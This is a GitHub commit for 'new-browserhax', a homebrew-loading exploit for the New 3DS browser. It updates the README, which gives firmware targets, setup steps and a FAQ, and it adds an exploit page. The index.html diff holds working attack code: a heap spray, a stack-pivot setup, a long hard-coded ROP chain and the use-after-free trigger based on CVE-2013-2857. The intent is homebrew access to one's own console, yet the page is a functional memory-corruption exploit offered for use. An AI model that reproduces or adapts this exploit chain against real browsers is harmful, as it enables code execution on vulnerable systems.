Skip to content

Commit d53f95a

Browse files
zoogiezoogie
zoogie
authored and
zoogie
committed
Update readme, clean up sploit page, and add 3ds_browserhax_common submodule
1 parent d695346 commit d53f95a

File tree

4 files changed

+90
-68
lines changed

4 files changed

+90
-68
lines changed

.gitmodules

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
[submodule "3ds_browserhax_common"]
2+
path = 3ds_browserhax_common
3+
url = https://github.com/zoogie/3ds_browserhax_common.git
4+
branch = master

3ds_browserhax_common

Submodule 3ds_browserhax_common added at bae92c3

README.md

Lines changed: 58 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,58 @@
1-
# Bowserhax
2-
Like a typical browserhax, but with more flying dinosaurs.
1+
# new-browserhax
2+
3+
## Thanks
4+
- Big thanks to @ChampionLeake for the bug tip!
5+
- The devs who developed JsTypeHax for the WiiU https://github.com/WiiUTest/JsTypeHax . This sploit is loosely modeled after it.
6+
- Yellows8 for the hbmenu loader code: https://github.com/yellows8/3ds_browserhax_common
7+
8+
## Intro
9+
10+
This is a new homebrew menu loading userland exploit for the new3ds browser, Skater.
11+
12+
## What's needed
13+
14+
A new3ds (or new2ds) on firmwares:<br>
15+
```
16+
11.9.0-42 -> 11.13.0-45 for USA or JAPAN<br>
17+
11.10.0-43 -> 11.13.0-45 for EUROPE<br>
18+
```
19+
Note: The last number on the firmware version matters. If you updated from a cartridge to your current firmware, you will need to update to latest firmware as your browser would have been erased by the cart update.
20+
21+
## Directions
22+
23+
1) In the release folder, find your region (USA, EUROPE, JAPAN) and take the two files *inside* that folder and put them on the root of your sd card. Do not copy the entire folder over.
24+
2) Place the homebrew launcher boot.3dsx from [here](https://github.com/fincs/new-hbmenu/releases/tag/v2.2.0) also on the root of your sd card.
25+
3) With wifi on and working, scan [this QR](http://api.qrserver.com/v1/create-qr-code/?color=000000&bgcolor=FFFFFF&data=https%3A%2F%2Fzoogie.github.io%2Fweb%2Fnbhax&qzone=1&margin=0&size=400x400&ecc=L) after pressing L+R should buttons together and tapping the QR button on the bottom screen. The link to the sploit page is https://zoogie.github.io/web/nbhax if you want to type it in manually and/or bookmark it.
26+
4) The exploit should then load homebrew menu. Make sure to add homebrews to the sdmc:/3ds folder first in order to have something to run. See other guides online about what you can do with homebrew.
27+
28+
## Exploit details
29+
30+
This is the same Use-After-Free bug exploited in the WiiU version, with some changes. The input.type="image" -> "radio" is changed to input.type="image" -> "hidden" in this one to achieve compatibility, for instance.
31+
32+
## Troubleshooting
33+
34+
- Problem: The 3ds freezes on a yellow screen.<br>
35+
Solution: Try again. Boot rate is about 75-80%. This has always been an issue with *hax homebrew and not specific to this implementation.
36+
37+
- Problem: The 3ds freezes on some other color screen or "An error has occured" prompt shows up.<br>
38+
Solution: Make sure you have *all* the correct files. Check your region is correct.<br>
39+
At minimum, make sure to have those 3 files in those same locations.<br>
40+
```
41+
sdmc:/arm11code.bin<br>
42+
sdmc:/browserhax_hblauncher_ropbin_payload.bin<br>
43+
sdmc:/boot.3dsx<br>
44+
```
45+
46+
## FAQ
47+
Q: Will you support old3ds, old2ds?<br>
48+
A: I tried for a bit getting this to work but had no success. Can't even get the bug to crash old3ds. Might try again but the odds of old3ds support are slim at best.
49+
50+
Q: Can I install [unSAFE_MODE](https://github.com/zoogie/unSAFE_MODE) with this to get cfw?<br>
51+
A: Absolutely, be my guest : ) You can boot slotTool.3dsx and install the hacked wifi slots, then run the unSAFE_MODE exploit. No explicit directions will be given for that here, but guides should pop up soon with directions.
52+
53+
Q: Where did this browser exploit come from originally?<br>
54+
A: CVE-2013-2857 https://bugs.chromium.org/p/chromium/issues/detail?id=240124 . It was ported to the WiiU a couple of years ago and I think it's still the main userland entrypoint for that homebrew scene.
55+
56+
Q: Will this exploit be fixed in a firmware update?<br>
57+
A: Don't know, but it's definitely possible. N has never fixed one of my exploits but they've always been proactive about fixing browser exploits. I give it 50/50 odds.
58+

index.html

Lines changed: 27 additions & 66 deletions
Original file line numberDiff line numberDiff line change
@@ -6,82 +6,46 @@
66
types=["checkbox","color","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"]
77
-->
88
<script>
9-
109
function UaF3(a)
1110
{
1211
var bsize=0x2000000;
1312
var p = new ArrayBuffer(bsize);
1413
var payload = new Uint32Array(p);
15-
bsize=0x800000;
16-
17-
for(var b=0;b<bsize/4;b++){
18-
//payload[b]=0x90000000+(b*4);
19-
payload[b]=0;
20-
}
2114

2215
payload[(0x1ba000+0x18)/4]=0x09300000;
2316
payload[(0x1ba000)/4]=0x09300000;
2417
payload[(0x1ba000+0x14c)/4]=0x00ac144c; //ldmdb r0!, {ip, sp, lr, pc} (stack pivot)
2518
payload[(0x1ba000-0x4)/4]=0x001df60c; //POP_PC (pivot pc)
2619
payload[(0x1ba000-0x8)/4]=0x44444444; //GARBAGE (lr)
2720
payload[(0x1ba000-0xC)/4]=0x09310000; //ROP_ADDR (pivot sp)
28-
29-
/*
30-
seg006:009DC170 LDR R0, [R5,#4]
31-
seg006:009DC172 LDR R0, [R0,#0x18]
32-
seg006:009DC174 LDR R1, [R0]
33-
seg006:009DC176 ADDS R1, #0xFF
34-
seg006:009DC178 ADDS R1, #0x41
35-
seg006:009DC17A LDR R1, [R1,#0xC]
36-
seg006:009DC17C BLX R1
37-
*/
3821

39-
var POP_R0PC=0x00296e64;
40-
var POP_R1PC=0x0023e578;
41-
var POP_R0R3PC=0x00226d3c;
42-
var svcSleepThread=0x002d8cd4;
43-
var FS_MountSdmc=0x00318d30+4;
44-
var IFile_Open=0x003222e4+4;
45-
var IFile_Write=0x00327258+4;
46-
var GARBAGE=0x44444444;
47-
var FILE=0x09311000;
48-
//POP_R0R3PC=GARBAGE;
49-
50-
51-
//return;
52-
var rop=[
53-
POP_R0PC,
54-
0x2eccf2, // mc:
55-
FS_MountSdmc,
56-
GARBAGE,
57-
GARBAGE,
58-
GARBAGE,
59-
POP_R0R3PC,
60-
FILE,
61-
0x0931005c, // mc:/rd
62-
6,
63-
GARBAGE,
64-
IFile_Open,
65-
GARBAGE,
66-
GARBAGE,
67-
GARBAGE,
68-
GARBAGE,
69-
GARBAGE,
70-
POP_R0R3PC,
71-
FILE,
72-
FILE+32,
73-
0x100000,
74-
0x328000,
75-
IFile_Write,
76-
0x0063006d,
77-
0x002f003a,
78-
0x00640072,
79-
0
22+
var rop=[ /* Generated from: https://github.com/yellows8/3ds_browserhax_common */
23+
0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x0100FFFF,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF60C,0x001DF7F0,0x00202A04,0x09320000,
24+
0x00000004,0x00000000,0x00000000,0x00000000,0x00000000,0x00298304,0x0027B150,0x001DF60C,0x001DF7F0,0x3A45C000,0x00011000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
25+
0x00D1042C,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x636D6473,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF60C,0x001DF7F0,0x09320004,
26+
0x0000003A,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
27+
0x00000000,0x00318D30,0x0026276C,0x00000000,0x0027B150,0x001DF7F0,0x001DF7F0,0x09320000,0x0A000000,0x00000000,0x00800000,0x00000000,0x00000000,0x00000000,0x002634DC,0x00000001,
28+
0x00000000,0x00000000,0x00000008,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x00000014,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
29+
0x00D1042C,0x0030C328,0x09320010,0x00640073,0x0063006D,0x002F003A,0x00720061,0x0031006D,0x00630031,0x0064006F,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0030C328,
30+
0x0932002C,0x002E0065,0x00690062,0x0000006E,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,
31+
0x09320040,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,0x00000000,0x00D1044C,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x09320040,0x00000001,0x00000000,0x00000000,
32+
0x00000000,0x00000000,0x003222E4,0x0026276C,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x09320020,0x3A45D000,0x00008000,0x00000000,0x00000000,0x00000000,0x0030C44C,
33+
0x0026276C,0x00000000,0x00296E64,0x09320000,0x0027B150,0x001DF60C,0x001F7A04,0x0027B150,0x001DF60C,0x001DCDD0,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x001EC780,
34+
0x0027B150,0x001DF60C,0x001DF7F0,0x3A45D000,0x00008000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x0029DADC,0x0030C328,0x09320010,0x00000000,0x001F1FAC,0x00000000,
35+
0x00000000,0x00000000,0x00000000,0x001EAAFC,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0030C328,0x0932002C,0x002A2498,0x0029DADC,0x003222E4,0x001EC780,0x001F1FDC,
36+
0x00000000,0x00000000,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x3A45C000,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,
37+
0x00000000,0x00D1044C,0x0030C328,0x09320010,0x00000000,0x0030C44C,0x00327258,0x00298304,0x00000000,0x00000000,0x00000048,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,
38+
0x0030C328,0x0932002C,0x00000000,0x00000000,0x00000000,0x003E03D0,0x00000114,0x00000000,0x00000000,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,
39+
0x001DF7F0,0x3A45C030,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,0x00000000,0x00D1044C,0x0030C328,0x09320010,0x00000000,0x3A45D000,0x0063A738,0x00D11044,0x00D10BA4,
40+
0x00D111B4,0x00D10BAC,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0030C328,0x0932002C,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
41+
0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x3A45C060,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,0x00000000,0x00D1044C,
42+
0x0027B150,0x001DF7F0,0x001DF7F0,0x3A45D000,0x3B1336E0,0x00008000,0x00000000,0x00000000,0x00000000,0x00000000,0x002A2498,0x00000000,0x00000000,0x00000000,0x00000008,0x00000000,
43+
0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x3B9ACA00,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x002D8CD4,0x0027B150,0x001DF60C,0x001DF7F0,
44+
0x09320000,0x01808080,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF7F0,0x001DF7F0,0x00202A04,0x09320000,0x00000004,0x00000000,0x00000000,
45+
0x00000000,0x00000000,0x00298304,0x3A45C000,0x0FFF9000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x0055B6E0,0x70707070
8046
]
81-
82-
for(var i=0; i < rop.length; i++){
83-
payload[(0x1ba000+0x10000+(i*4))/4]=rop[i];
84-
}
47+
48+
for(var i=0; i < rop.length; i++) payload[(0x1ba000+0x10000+(i*4))/4]=rop[i];
8549

8650
for(var i=0;i<1000;i++){
8751
var buf = new ArrayBuffer(0x18);
@@ -94,9 +58,6 @@
9458
bufView[5]=0x66181600;
9559
a.type="hidden";
9660
}
97-
98-
return 0;
9961
}
10062
</script>
101-
102-
<input type="image" onerror="UaF3(this);" src=""/>
63+
<input type="image" onerror="UaF3(this);" src=""/>

0 commit comments

Comments
 (0)